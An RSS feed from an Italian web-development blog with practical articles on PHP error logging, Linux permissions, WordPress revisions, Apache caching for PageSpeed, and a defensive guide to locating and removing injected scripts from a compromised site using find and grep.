<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Siti Web Bologna</title>
	<atom:link href="https://www.sitiweb-bologna.com/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.sitiweb-bologna.com</link>
	<description>Realizzazione di siti web ed e-commerce per le aziende</description>
	<lastBuildDate>Sat, 06 Jun 2026 10:44:19 +0000</lastBuildDate>
	<language>it-IT</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>Visualizzare gli errori PHP</title>
		<link>https://www.sitiweb-bologna.com/visualizzare-errori-php/</link>
		
		<dc:creator><![CDATA[Siti Web Bologna]]></dc:creator>
		<pubDate>Tue, 21 Jan 2025 13:16:07 +0000</pubDate>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Prestashop]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[debugging]]></category>
		<category><![CDATA[errori]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[trucchi]]></category>
		<guid isPermaLink="false">https://www.sitiweb-bologna.com/?p=2031</guid>

					<description><![CDATA[Errare è umano, e nel software capire quale errore si verifica è il passo più importante per risolvere i problemi. Purtroppo capita (troppo) spesso che la gestione degli errori non sia impostata adeguatamente alla situazione. Ecco una guida definitiva per impostare correttamente gli errori, e per vederli o loggarli a seconda delle necessità.]]></description>
										<content:encoded><![CDATA[<p>Errare è umano, e nel software capire quale errore si verifica è il passo più importante per risolvere i problemi. Purtroppo capita (troppo) spesso che la gestione degli errori non sia impostata adeguatamente alla situazione. Molti provider impostano gli errori affinché non vengano visualizzati (&#8220;è per la sicurezza!&#8221;) poi quando qualcosa non va si brancola nel buio. Ecco una guida definitiva per impostare correttamente gli errori, e per vederli o loggarli a seconda delle necessità.</p>
<p><span id="more-2031"></span></p>
<h2>Errori PHP</h2>
<p>Ecco le istruzioni disponibili in PHP per controllare la gestione degli errori.</p>
<p><strong>Visualizzare a video, oppure no</strong></p>
<div class="code">
<pre>@ini_set('display_errors', 'on'); // oppure off</pre>
</div>
<p>Decide se visualizzare gli errori (&#8216;on&#8217;) oppure no (&#8216;off&#8217;) a video.</p>
<p>&nbsp;</p>
<p><strong>Quali errori vedere</strong></p>
<div class="code">
<pre class="EnlighterJSRAW" data-enlighter-linenumbers="false">// Disabilita i Notice, i Warning, i Strict Standards e i Deprecated
@error_reporting(E_ALL &amp; ~E_NOTICE &amp; ~E_WARNING &amp; ~E_STRICT &amp; ~E_DEPRECATED);</pre>
<p>A scanso di equivoci: i Notice non sono errori e salvo vogliate fare le limature al software non dovete vederli.</p>
</div>
<p>i Warning sono avvisi che non necessariamente rappresentano errori, però in fase di messa a punto o in caso di problemi vi può interessare vederli.</p>
<p>Ho aggiunto alla lista dei messaggi da escludere anche quelli di conformità strict standard, una noiosa novità del php 5.3+: se usate un software non scritto da voi non vi interessano.</p>
<p>&nbsp;</p>
<h3>Loggare errori su file</h3>
<p>Molto utile (anche per capire cosa il vs codice sta facendo) è loggare errori e messaggi in un file. E&#8217; possibile attivare questa funzione e specificare come si deve chiamare il file in questione con</p>
<pre class="EnlighterJSRAW" data-enlighter-linenumbers="false">ini_set('log_errors', 1); 
// Da ora gli errori vanno anche su file 
ini_set('error_log', "/tmp/php-error.log"); 
// Il file che conterrà gli errori è /tmp/php-error.log
error_log( "Sto facendo questa cosa" ); 
// Un messaggio che mi fa comodo vedere sul log</pre>
<p>&nbsp;</p>
<div class="code">
<p><span style="font-family: 'Open Sans', sans-serif;">Nella <strong>ini_set error_log</strong> si può omettere il percorso, in questo caso il file verrà creato nella cartella corrente (qual&#8217;è? attenzione, in alcuni casi non è immediato scoprirlo)</span></p>
</div>
<p>Da notare che questa impostazione nulla ha che vedere con la stampa errori a video, quindi possiamo avere una, l&#8217;altra, entrambe, o nessuna.</p>
<p>&nbsp;</p>
<h3>WordPress</h3>
<p>In WordPress il posto migliore per mettere queste istruzioni sarebbe il file <strong>wp-config.php</strong>, se vogliamo che l&#8217;impostazione valga per tutto il sito.</p>
<p>WordPress ha però delle sue direttive per il logging errori che nelle versioni più recenti hanno priorità rispetto alle varie ini_set viste sopra.</p>
<p>&nbsp;</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">define( 'WP_DEBUG', true ); // SI - Attivo il debug
define( 'WP_DEBUG_DISPLAY', true ); // SI - Voglio vedere i messaggi a video
define( 'WP_DEBUG_LOG', true );  // SI - Voglio loggare i messaggi</pre>
<p>&nbsp;</p>
<p>Il comportamento di WordPress delle versioni più recenti è quello di mandare una email al gestore del sito in caso si verifichino errori. Se l&#8217;invio della mail non funziona (succede) vi trovate nella grottesca situazione di non capire cosa sta succedendo, quindi attivare il debug con le istruzioni qui sopra nel wp-config.php può essere di grande aiuto. A problemi risolti ricordate di reimpostare WP_DEBUG a false.</p>
<p>&nbsp;</p>
<h3>Prestashop</h3>
<p>In Prestahop un buon punto dove impostare la gestione degli errori è il file <strong>config/config.inc.php</strong>, dopo la prima define. Ecco una impostazione buona per un ecommerce che si sta mettendo a punto o che ha avuto qualche problema:</p>
<pre class="EnlighterJSRAW" data-enlighter-linenumbers="false">@ini_set('display_errors', 'on');
@error_reporting(E_ALL &amp; ~E_NOTICE &amp; ~E_WARNING &amp; ~E_STRICT &amp; ~E_DEPRECATED); // Disabilita i Notice, i Warning e i Deprecated, vedi solo gli errori gravi</pre>
<p>&nbsp;</p>
<div class="code">
<pre></pre>
</div>
<h3>Script PHP generici</h3>
<p>In un generico script PHP queste istruzioni vanno messe all&#8217;inizio del file. E&#8217; buona norma usare un unico file da includere in tutto il progetto, e mettere queste istruzioni lì una volta per tutte, piuttosto che ricopiarle in tutti i file.</p>
<p>&nbsp;</p>
<h3>la funzione BackTrace</h3>
<p>Risulta particolarmente utile capire come il programma è finito in una specifica funzione, ovvero la sequenza di chiamate sullo stack. Ecco allora una funzione utile, che ritengo la migliore alternativa all&#8217;usare un ambiente che consente l&#8217;esecuzione passo-passo:</p>
<p>&nbsp;</p>
<pre class="EnlighterJSRAW" data-enlighter-language="null">function debug_bt() {
 $echo = '';
 if(!function_exists('debug_backtrace'))
 {
 $echo .= 'function debug_backtrace does not exist'."&lt;br/&gt;\n";
 return $echo;
 }
 $echo .= "&lt;br/&gt;\n----------------&lt;br/&gt;\n";
 $echo .= "Debug backtrace:&lt;br/&gt;\n";
 $echo .= "----------------&lt;br/&gt;\n";
 foreach(debug_backtrace() as $t)  {
 $echo .= "\t" . '@ ';
 if(isset($t['file'])) $echo .= basename($t['file']) . ':' . $t['line'];
 else  {
 $echo .= '(PHP inner-code)';
 }

 $echo .= ' -- ';

 if(isset($t['class'])) $echo .= $t['class'] . $t['type'];

 $echo .= $t['function'];

 if(isset($t['args']) &amp;&amp; sizeof($t['args']) &gt; 0) $echo .= '(...)';
 else $echo .= '()';

 $echo .= "&lt;br/&gt;\n";
 }
 return $echo;
}</pre>
<p>&nbsp;</p>
<p>questa sarà richiamabile o con:</p>
<p>&nbsp;</p>
<div class="code">
<pre>die( debug_bt() );
echo (debug_bt() );</pre>
</div>
<p>a seconda che vogliate fermare l&#8217;esecuzione o meno dopo la stampa, mentre quando siete dentro una classe PHP definitela come</p>
<div class="code">
<pre>public static function debug_bt()</pre>
</div>
<p>&nbsp;</p>
<p>in modo che potrete richiamarla,  per esempio, con</p>
<div class="code">
<pre>echo( myClass::debug_bt() );</pre>
</div>
<p>&nbsp;</p>
<h3>Conclusioni</h3>
<p>Se uno sito fa le bizze la prima cosa da fare è abilitare gli errori, e questa guida è stata scritta proprio per questo. Attenzione, non tutti i provider consentono di gestire gli errori, se il vostro non ve lo permette questa è una l<a href="https://www.sitiweb-bologna.com/hosting-quali-sono-i-migliori/">lista di hosting provider consigliati</a> su cui queste tecniche appena illustrate non solo funzionano, ma dove le impostazioni sono già quelle ottimali per mettere a punto un sito senza impazzire.</p>
<p>Se questo articolo ti è stato utile, per favore condividilo!</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Linux: Modificare permessi ricorsivamente su file e cartelle</title>
		<link>https://www.sitiweb-bologna.com/linux-modificare-permessi-ricorsivamente-file-cartelle/</link>
		
		<dc:creator><![CDATA[Siti Web Bologna]]></dc:creator>
		<pubDate>Sat, 18 Jan 2025 06:31:04 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[permessi]]></category>
		<category><![CDATA[shell]]></category>
		<guid isPermaLink="false">https://www.sitiweb-bologna.com/?p=2127</guid>

					<description><![CDATA[Sotto Linux, spesso abbiamo necessità di aggiustare i permessi di alcune cartelle in modo che un utente possa scrivere o semplicemente entrare nelle cartelle. Ricordo che in Linux, ci sono tre check di permessi: utente, gruppo, altri (&#8220;ugo&#8221; ossia user-group-others) e che il check di esecuzione &#8220;x&#8221; per le cartelle serve a consentire di entrarci [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Sotto Linux, spesso abbiamo necessità di aggiustare i permessi di alcune cartelle in modo che un utente possa scrivere o semplicemente entrare nelle cartelle. <span id="more-2127"></span>Ricordo che in Linux, ci sono tre check di permessi: utente, gruppo, altri (&#8220;ugo&#8221; ossia user-group-others) e che il check di esecuzione &#8220;x&#8221; per le cartelle serve a consentire di entrarci dentro, quindi è necessario anche per la sola lettura.</p>
<p><img fetchpriority="high" decoding="async" class="alignright size-full wp-image-2620" src="https://www.sitiweb-bologna.com/wp-content/uploads/2017/07/permessi-file.jpg" alt="" width="310" height="323" srcset="https://www.sitiweb-bologna.com/wp-content/uploads/2017/07/permessi-file.jpg 310w, https://www.sitiweb-bologna.com/wp-content/uploads/2017/07/permessi-file-288x300.jpg 288w, https://www.sitiweb-bologna.com/wp-content/uploads/2017/07/permessi-file-30x30.jpg 30w" sizes="(max-width: 310px) 100vw, 310px" />I check vengono convertiti in numeri ottenendo tre codici da 0 a 7, la cosa è facile da capire se imposti i permessi con un programma interattivo come <strong>FileZilla</strong>.</p>
<p>In quest&#8217;ottica:</p>
<ul>
<li>il codice <strong>644</strong> significa lettura+scrittura per proprietario e sola lettura per gruppo e altri.</li>
<li>il codice <strong>755</strong> significa lettura+scrittura+esecuzione per propietario e lettura+esecuzione per gruppo e altri: va bene per le cartelle. Spesso si usa il codice <strong>750</strong> che non dà diritti agli utenti terzi.</li>
<li>000 significa nessun permesso</li>
<li>777 significa tutti i permessi per tutti, da evitare per motivi di sicurezza.</li>
</ul>
<p>Se stai leggendo questo articolo, hai bisogno di operare su più file a partire da una finestra shell linux, dunque andiamo al sodo&#8230;.</p>
<p>Ecco un comando che imposta i permessi correttamente (644 e 755) per tutti i file e cartelle, ricorsivamente, a partire dalla cartella in cui ci si trova (.) Per gli <a href="https://www.sitiweb-bologna.com/hosting-quali-sono-i-migliori/">hosting linux</a> che uso, per me ha funzionato perfettamente:</p>
<pre>find . -type f -exec sh -c 'chmod 644 {}' \;
find . -type d -exec sh -c 'chmod 755 {}' \;
</pre>
<p>&nbsp;</p>
<p>Se non funziona, alcuni siti riportano anche questa variante:</p>
<pre>chmod 644 $(find . -type f)
chmod 755 $(find . -type d)

</pre>
<p>Ed ecco altri comandi che vanno a settare ricorsivamente utenti e gruppo, a partire dalla sottocartella dir/ in giù:</p>
<pre>chown -R utente dir/
chgrp -R gruppo dir/</pre>
<p>Ovviamente nel set di comandi precedente devi sostituire a <em>utente</em> e a <em>gruppo</em> l&#8217;utente e il gruppo che ti specifico che deve risultare proprietario dei file e delle cartelle.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>WordPress: come limitare il numero delle revisioni</title>
		<link>https://www.sitiweb-bologna.com/wordpress-come-limitare-il-numero-delle-revisioni/</link>
		
		<dc:creator><![CDATA[Siti Web Bologna]]></dc:creator>
		<pubDate>Sat, 18 Jan 2025 04:21:27 +0000</pubDate>
				<category><![CDATA[Tutte]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[ottimizzazione]]></category>
		<category><![CDATA[revisioni]]></category>
		<category><![CDATA[wordpress]]></category>
		<guid isPermaLink="false">https://www.sitiweb-bologna.com/?p=2539</guid>

					<description><![CDATA[Non tutti sanno che WordPress conserva una copia di ogni post o pagina dopo che l&#8217;abbiamo modificata. Si chiamano &#8220;Revisioni&#8221; e sono molto comode ma quando si accumulano appesantiscono e rallentano il sito. Ecco come limitarle. Come limitarle Apri il file wp-config.php e cerca la riga conla scritta &#8220;Happy blogging&#8220;. Aggiungi la riga sotto indicata [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Non tutti sanno che WordPress conserva una copia di ogni post o pagina dopo che l&#8217;abbiamo modificata. Si chiamano &#8220;Revisioni&#8221; e sono molto comode ma quando si accumulano appesantiscono e rallentano il sito. Ecco come limitarle.<span id="more-2539"></span></p>
<h3>Come limitarle</h3>
<p>Apri il file <strong>wp-config.php</strong> e cerca la riga conla scritta &#8220;<em>Happy blogging</em>&#8220;.</p>
<p>Aggiungi la riga sotto indicata in grassetto, e salva il file. In questo esempio stabiliamo che vogliamo conservare le ultime tre versioni di ogni pagina o articolo, sono più che sufficienti nella maggior parte dei casi.</p>
<pre>define('WP_POST_REVISIONS', 3);

/* That's all, stop editing! Happy blogging. */
</pre>
<p>Se vuoi disabilitare del tutto le revisioni, puoi basta impostare a false:</p>
<pre>define('WP_POST_REVISIONS', false); // Disabilitate

/* That's all, stop editing! Happy blogging. */
</pre>
<h3></h3>
<h3>Come funzionano le revisioni di wordpress?</h3>
<p>Le revisioni possono essere molto utili. Per esempio, un conoscente ha dovuto difendersi dall&#8217;accusa di aver pubblicato sul sito informazioni inaccurate. E&#8217; stato facile recuperando da WordPress la versione della pagina incriminata alla data dei fatti. Le Revisioni si accedono dal backoffice (cioè da dove è possibile modificare i contenuti) aprendo la scheda apposita &#8220;Revisioni&#8221; dal menu &#8220;Impostazioni Schermata&#8221; che si trova in alto a destra. E&#8217; anche possibile vedere le modifiche fatte da una versione all&#8217;altra.</p>
<p>&nbsp;</p>
<h3>Plugin utili</h3>
<p>Per ripulire le revisioni vecchie in momenti specifici si possono usare due plugin molto conosciuti: <a href="https://wordpress.org/plugins/wp-optimize/" target="_blank" rel="nofollow noopener noreferrer">WP-Optimize</a> e <a href="https://wordpress.org/plugins/rvg-optimize-database/" target="_blank" rel="nofollow noopener noreferrer">Optimize DB after Deleting Revisions</a>. La differenza è che qui la ripulitura è totale (vengono cancellate tutte) e a richiesta, sebbene sia possibile programmare le pulizie a cadenza prefissata, ad esempio una volta al mese. Entrambi i plugin effettuano altre pulizie sul DB che aiutano a mantenere il sito libero da sporcizia inutile.</p>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Come incrementare il punteggio Google PageSpeed</title>
		<link>https://www.sitiweb-bologna.com/come-incrementare-il-punteggio-google-pagespeed/</link>
		
		<dc:creator><![CDATA[Siti Web Bologna]]></dc:creator>
		<pubDate>Sat, 18 Jan 2025 02:19:11 +0000</pubDate>
				<category><![CDATA[Hosting]]></category>
		<category><![CDATA[caching]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[ottimizzazione]]></category>
		<category><![CDATA[pagespeed]]></category>
		<category><![CDATA[siti web]]></category>
		<category><![CDATA[wordpress]]></category>
		<guid isPermaLink="false">https://www.sitiweb-bologna.com/?p=2479</guid>

					<description><![CDATA[Oggi ogni sito andrebbe controllato con lo strumento grartuito  PageSpeed Insights. Se dopo il test ottieni questi messaggi di avviso:
Abilita la compressione
Sfrutta il caching del browser
Puoi migliorare le prestazioni del tuo sito applicando gli accorgimenti descritti in questo articolo.]]></description>
										<content:encoded><![CDATA[<h3 style="text-align: left;">Un sito lento fa perdere clienti</h3>
<p style="text-align: left;">E&#8217; dimostrato che un solo secondo di ritardo nel caricamento di una pagina può risultare in una riduzione del 7% nelle conversioni. La percentuale di utenti che abbandonano il carrello cresce al 40% se la pagina del carrello impiega più di 3 secondi a caricarsi.<span id="more-2479"></span></p>
<p style="text-align: left;"><strong>Incrementare la velocità di navigazione del vostro sito ha un ritorno economico tangibile!<br />
</strong></p>
<p>Oggi ogni sito andrebbe controllato con lo strumento grartuito  PageSpeed Insights. Se dopo il test ottieni questi messaggi di avviso:</p>
<ul>
<li>
<h4 class="rule-title">Abilita la compressione</h4>
</li>
<li>
<h4 class="rule-title">Sfrutta il caching del browser</h4>
</li>
</ul>
<p>&nbsp;</p>
<p>Puoi migliorare le prestazioni del tuo sito applicando gli accorgimenti descritti in questo articolo.</p>
<p>La mia ricetta (anche detta SpeedUp) è una combinazione di impostazioni messe a punto dopo numerosi test e studi sulle funzionalità avanzate offerte dal server web Apache e i suoi moduli. Tale combinazione è pensata per agire su velocità, sicurezza e costi del tuo sito. Ecco cosa fa la mia soluzione, in sintesi:</p>
<ul>
<li>Istruisce il browser ad effettuare la <strong>memorizzazione in locale</strong> (<em><strong>caching</strong></em>) dei file grafici, css, script e altro per un anno seguendo le racomandazioni fornite da Google. Ciò significa che dopo la prima pagina caricata, le successive si aprono molto più in fretta.</li>
<li><strong>Attiva la compressione in tempo reale</strong> dei contenuti. Molti non lo sanno ma ogni browser è in grado di utilizzare contenuti compressi per cui è sufficiente che il server comprima i contenuti voluminosi per ridurre il tempo di trasmissione dati. Molti hosting di qualità offrono questa funzione che non viene quasi mai utilizzata e che noi attiviamo.</li>
</ul>
<h3></h3>
<p>Questa soluzione si può applicare solo su h<img decoding="async" class="alignright size-medium wp-image-1731" src="https://www.sitiweb-bologna.com/wp-content/uploads/2013/09/cronometro-300x199.jpg" alt="cronometro" width="300" height="199" srcset="https://www.sitiweb-bologna.com/wp-content/uploads/2013/09/cronometro-300x199.jpg 300w, https://www.sitiweb-bologna.com/wp-content/uploads/2013/09/cronometro-1024x682.jpg 1024w, https://www.sitiweb-bologna.com/wp-content/uploads/2013/09/cronometro-72x47.jpg 72w, https://www.sitiweb-bologna.com/wp-content/uploads/2013/09/cronometro-157x104.jpg 157w, https://www.sitiweb-bologna.com/wp-content/uploads/2013/09/cronometro.jpg 1698w" sizes="(max-width: 300px) 100vw, 300px" />osting <strong>di qualità</strong> basati su server <strong>Apache</strong> sotto Linux (vedi <a href="https://www.sitiweb-bologna.com/hosting-quali-sono-i-migliori/">questa pagina per alcuni consigli</a>).</p>
<p>NON credo si possa applicare a server Nginx, Lighttpd, sicuramente non a Tomcat, e altri.</p>
<p>La soluzione è testata su siti <strong>WordPress</strong> e <strong>PrestaShop</strong> qualsiasi versione. E&#8217; applicabile ad altri software.</p>
<p>Puoi provarla, è gratuita.</p>
<p>&nbsp;</p>
<h3>1) La ricetta da applicare al file .htaccess</h3>
<div class="code">
<pre class="EnlighterJSRAW" data-enlighter-language="null"># compress text, html, javascript, css, xml:
AddOutputFilterByType DEFLATE text/plain
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE text/xml
AddOutputFilterByType DEFLATE text/css
AddOutputFilterByType DEFLATE application/xml
AddOutputFilterByType DEFLATE application/xhtml+xml
AddOutputFilterByType DEFLATE application/rss+xml
AddOutputFilterByType DEFLATE application/javascript
AddOutputFilterByType DEFLATE application/x-javascript

# Set up caching on static resources for 1 year based on Google recommendations
&lt;IfModule mod_expires.c&gt;
ExpiresActive On
&lt;FilesMatch "\.(flv|ico|pdf|avi|mov|ppt|doc|mp3|wmv|wav|js|css|gif|jpg|jpeg|png|swf|svg|woff)$"&gt;
ExpiresDefault A29030400
&lt;/FilesMatch&gt;
&lt;/IfModule&gt;

# Enable gzip compression
&lt;ifModule mod_gzip.c&gt;
mod_gzip_on Yes
mod_gzip_dechunk Yes
mod_gzip_item_include file \.(html?|txt|css|js|php|pl)$
mod_gzip_item_include handler ^cgi-script$
mod_gzip_item_include mime ^text/.*
mod_gzip_item_include mime ^application/x-javascript.*
mod_gzip_item_exclude mime ^image/.*
mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*
&lt;/ifModule&gt;
</pre>
<p>&nbsp;</p>
<h3>2) Wordpress &#8211; come evitare che vengano generati i numeri di versione per i caricamenti Javascript e CSS</h3>
<p>Il fatto che WordPress aggiunga dei numeri di versione come parametro per i vari Javascript e CSS non aiuta il browser a fare caching di questi file. E&#8217; possibile ovviare inserendo poche righe PHP nel file <strong>functions.php</strong> del tema in uso.</p>
<div class="code">
<pre>// remove wp version param from any enqueued scripts
function vc_remove_wp_ver_css_js( $src ) {
if ( strpos( $src, 'ver=' ) )
$src = remove_query_arg( 'ver', $src );
return $src;
}
add_filter( 'style_loader_src', 'vc_remove_wp_ver_css_js', 9999 );
add_filter( 'script_loader_src', 'vc_remove_wp_ver_css_js', 9999 );
</pre>
</div>
<p>&nbsp;</p>
<h2>Altre idee per velocizzare il sito</h2>
<ul>
<li>Usa un plug-in di caching come ad esempio l&#8217;ottimo e semplicissimo <a href="https://srd.wordpress.org/plugins/wp-super-cache/" target="_blank" rel="noopener noreferrer">WP Cache</a> non appena il sito è stabile (cioè, se non ci devi sviluppare sopra)</li>
<li>Usa il servizio gratuito <a href="https://www.cloudflare.com/" target="_blank" rel="noopener">CloudFlare</a> per rendere il sito più rapido. Essenzialmente fa caching distribuito su una Content Delivery Network (CDN) per imamgini e file statici, fa DNS distribuito e ti protegge dagli attacchi a un qualche livello. Raccomandato specialmente per siti acceduti un pò da tutto il mondo.</li>
</ul>
<p>&nbsp;</p>
<p>Di sicuro con questi accorgimenti migliorerai non poco la velocità del sito. Dimmi che pensi di questa soluzione nei commenti.</p>
</div>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Come trovare e debellare codici malevoli e trojan da un sito</title>
		<link>https://www.sitiweb-bologna.com/come-trovare-e-debellare-codici-malevoli-e-trojan-dal-proprio-sito/</link>
		
		<dc:creator><![CDATA[Siti Web Bologna]]></dc:creator>
		<pubDate>Mon, 09 Dec 2024 02:55:52 +0000</pubDate>
				<category><![CDATA[Risorse]]></category>
		<category><![CDATA[find]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[rimozione]]></category>
		<category><![CDATA[sicurezza]]></category>
		<category><![CDATA[trojan]]></category>
		<category><![CDATA[unix]]></category>
		<guid isPermaLink="false">https://www.sitiweb-bologna.com/?p=1954</guid>

					<description><![CDATA[Un mio cliente ha scoperto di avere un trojan installato nel proprio sito che rischiava di sottrargli traffico, pageRank e causargli seri problemi legali. Se il tuo sito è stato attaccato, ecco come liberarti degli odiosi parassiti.]]></description>
										<content:encoded><![CDATA[<p>Un mio cliente ha scoperto di avere un trojan installato nel proprio sito che rischiava di sottrargli traffico, pageRank e causargli seri problemi legali. Se il tuo sito è stato attaccato, ecco un suggerimento per scovare e liberarti dagli script parassiti.<span id="more-1954"></span></p>
<h2>Comportamento</h2>
<p>Spesso l&#8217;infezione di un sito avviene con l&#8217;inserimento di uno script (tipicamente Javascript) che durante la visita al sito apre finestre pop-up su altri siti, spesso illegali o carichi di altre nefandezze.</p>
<p>Come faccia un hacker a modificare i file del vostro sito non è l&#8217;oggetto di questo articolo: qui ipotizziamo che il tuo sito non si comporti come dovrebbe (ad esempio: apre una finestra pop-up su un sito esterno che non conosci) oppure appare da qualche parte una scritta o un link che mai ti saresti sognato di mettere.</p>
<p>Segui i passi qui sotto per liberarti del problema.</p>
<p>&nbsp;</p>
<h2>Step 1 &#8211; Identificazione</h2>
<p>Per risolvere un problema occorre prima <em>identificarlo</em>. Quindi devi essere tanto fortunato (se così si può dire) da ricevere una segnalazione di qualcuno che ti dica come riprodurre il comportamento in questione.</p>
<p>Se così è, annota quindi tutti i dettagli possibili:</p>
<ul>
<li>Si apre una finestra di pop-up su un sito esterno? Annotane l&#8217;indirizzo URL</li>
<li>C&#8217;è un link verso un sito illegale? Annota la scritta che vedi o l&#8217;URL</li>
<li>Il caricamento della pagina si blocca tentando di caricare da qualche sito esterno? Annotane l&#8217;URL</li>
</ul>
<p>&nbsp;</p>
<h2>Step 2 &#8211; Ricerca</h2>
<p>Il passo più difficile è di solito capire quale file è stato modificato e che causa l&#8217;apertura del pop-up o il link in questione. Per questa ricerca devi usare le informazioni che hai annotato nel passo 1, cercando le stringhe esatte in tutti i file del sito. Ciò è fattibile tramite una <strong>ricerca ricorsiva sui file</strong>.</p>
<p>Supponiamo che tu ti sia accorto che visitando il tuo sito si apre una connessione a un sito sospetto chiamato &#8220;jque.net&#8221; (l&#8217;esempio è tratto da un caso reale, proprio quello era il sito, che mimava un nome conosciuto per sembrare innocuo).</p>
<p>Supponendo che tu abbia un hosting che ti consente di aprire una finestra shell, una volta collegato con Telnet/Putty lancia i seguenti comandi:</p>
<p>&nbsp;</p>
<pre class="EnlighterJSRAW" data-enlighter-language="null">cd public_html

find . -exec grep 'jque.net' {} \; -print 2&gt;/dev/null</pre>
<p>&nbsp;</p>
<p>Il primo comando ti fa posizionare sulla cartella che rappresenta la root del tuo sito.</p>
<p>Il secondo comando trova i file che contengono la stringa cercata: jque.net &#8211; modifica la stringa con qualunque cosa tu abbia visto di irregolare o che tu voglia cercare nel tuo sito.</p>
<p>Dopo una breve attesa otterrai, con un pò di fortuna, una lista di tutti i file che contengono quella stringa e la loro posizione.</p>
<p>Vai quindi a cercare il file in questione (ormai sai qual&#8217;è il file che è stato alterato e dove si trova) e quando ti trovi nella cartella che lo contiene, sempre all&#8217;interno della shell digita:</p>
<p>&nbsp;</p>
<pre class="EnlighterJSRAW" data-enlighter-language="null">ls -al</pre>
<p>&nbsp;</p>
<p>Annota data/ora di modifica del file. E&#8217; possibile che l&#8217;hacker abbia modificato altri file lo stesso giorno, cosa che vogliamo ora verificare.</p>
<p>Ora, per cercare nel sito tutti i file che sono stati modificati, ad esempio, il 6 Marzo 2013 usa il seguente comando:</p>
<p>&nbsp;</p>
<pre class="EnlighterJSRAW" data-enlighter-language="null">find . -newermt 2013-03-06 ! -newermt 2013-03-07 -ls</pre>
<p>&nbsp;</p>
<p>Il che significa &#8220;trova tutti file modificati tra il 06 mar 2013  (incluso) e il 07 mar 2013 (escluso).</p>
<p>In generale usa come prima data è il giorno in questione, e come seconda data è il giorno dopo, curando di usare il formato <strong>aaaa-mm-gg</strong>.</p>
<p>E&#8217; possibile modificare le date per ampliare il range del controllo, spesso queste incursioni vengono svolte in più giorni adiacenti.</p>
<p>Ovviamente ogni file andrebbe ispezionato per escludere che sia un falso positivo: potrebbe essere un file che hai modificato tu nella normale attività di gestione.</p>
<p>&nbsp;</p>
<h2><img decoding="async" class="alignright size-full wp-image-1963" src="https://www.sitiweb-bologna.com/wp-content/uploads/2014/05/trojan_removal.jpg" alt="rimozione trojan" width="295" height="200" srcset="https://www.sitiweb-bologna.com/wp-content/uploads/2014/05/trojan_removal.jpg 295w, https://www.sitiweb-bologna.com/wp-content/uploads/2014/05/trojan_removal-72x48.jpg 72w, https://www.sitiweb-bologna.com/wp-content/uploads/2014/05/trojan_removal-157x106.jpg 157w" sizes="(max-width: 295px) 100vw, 295px" />Step 3 &#8211; Rimozione</h2>
<p>La rimozione di uno script inserito è di solito semplice: si cerca la stringa con un text editor e si rimuove il riferimento o lo script. Meglio ancora se si può recuperare il file originario da un backup.</p>
<p>Navigando sul sito il problema dovrebbe essere ora risolto.</p>
<p>&nbsp;</p>
<h2>Spunti ulteriori</h2>
<p>Abbiamo visto la procedura base per la rimozione di un link, riferimento, script o scritta in un sito infetto. E&#8217; stata una buona &#8220;scusa&#8221; per imparare a usare l&#8217;utilissimo comando find che unix ci mette a disposizione. Ecco alcuni spunti ulteriori:</p>
<ul>
<li><strong>Stringhe codificate non vi temo</strong> &#8211; non è detto che la stringa cercata sia in chiaro. Se l&#8217;hacker è stato furbo potrebbe averla cifrata e un sistema molto usato è il metodo base64. Vedi <a href="https://www.sitiweb-bologna.com/come-tenere-docchio-attivita-sospette-sul-tuo-sito-web/">questo articolo</a> per cercare istruzioni di decodifica base64_decode che possono nascondere la stringa in questione.</li>
<li><strong>Url shortner: sgamali con Fiddler</strong> &#8211; un&#8217;altro sistema per mascherare i link è usare dei link shortner, servizi gratuiti come bit.ly o goo.gl che mascherano un link rendendolo meno visibile. Se l&#8217;hacker ha usato questo sistema per nascondere gli indirizzi a cui devia traffico puoi tracciare cosa succede avvalendoti del tool gratuito <a href="http://www.telerik.com/fiddler" target="_blank" rel="noopener">Fiddler</a>.</li>
<li><strong>Niente shell, niente paura!</strong> &#8211; Molti diranno che non hanno a disposizione il comando <strong><em>find</em></strong> perchè hanno un hosting Windows oppure un hosting economico che non offre la shell (fatemi indovinare&#8230; è italiano). Oltre che consigliarvi di prendere un hosting estero o comunque fatto secondo gli standard di servizio USA (io uso HostGator, trovate i rif. in <a href="https://www.sitiweb-bologna.com/links/">questa pagina</a> per ottenerlo con lo sconto) puoi ripiegare scaricando l&#8217;intero sito sul vostro PC e facendo poi sul vostro disco una ricerca ricorsiva con un text editor adatto, io uso <a href="http://www.textpad.com/download/" target="_blank" rel="noopener">TextPad</a> che è disponibile in versione di prova gratuita e anche in italiano. Quando scarichi il tuo sito, meglio se lo fai impacchettandolo in un unico ZIP direttamente dal server, così le date di modifica dei file resteranno invariate e avrai una informazione preziosa in più.</li>
</ul>
<p>&nbsp;</p>
<h2>E&#8217; stato utile? Condividi!</h2>
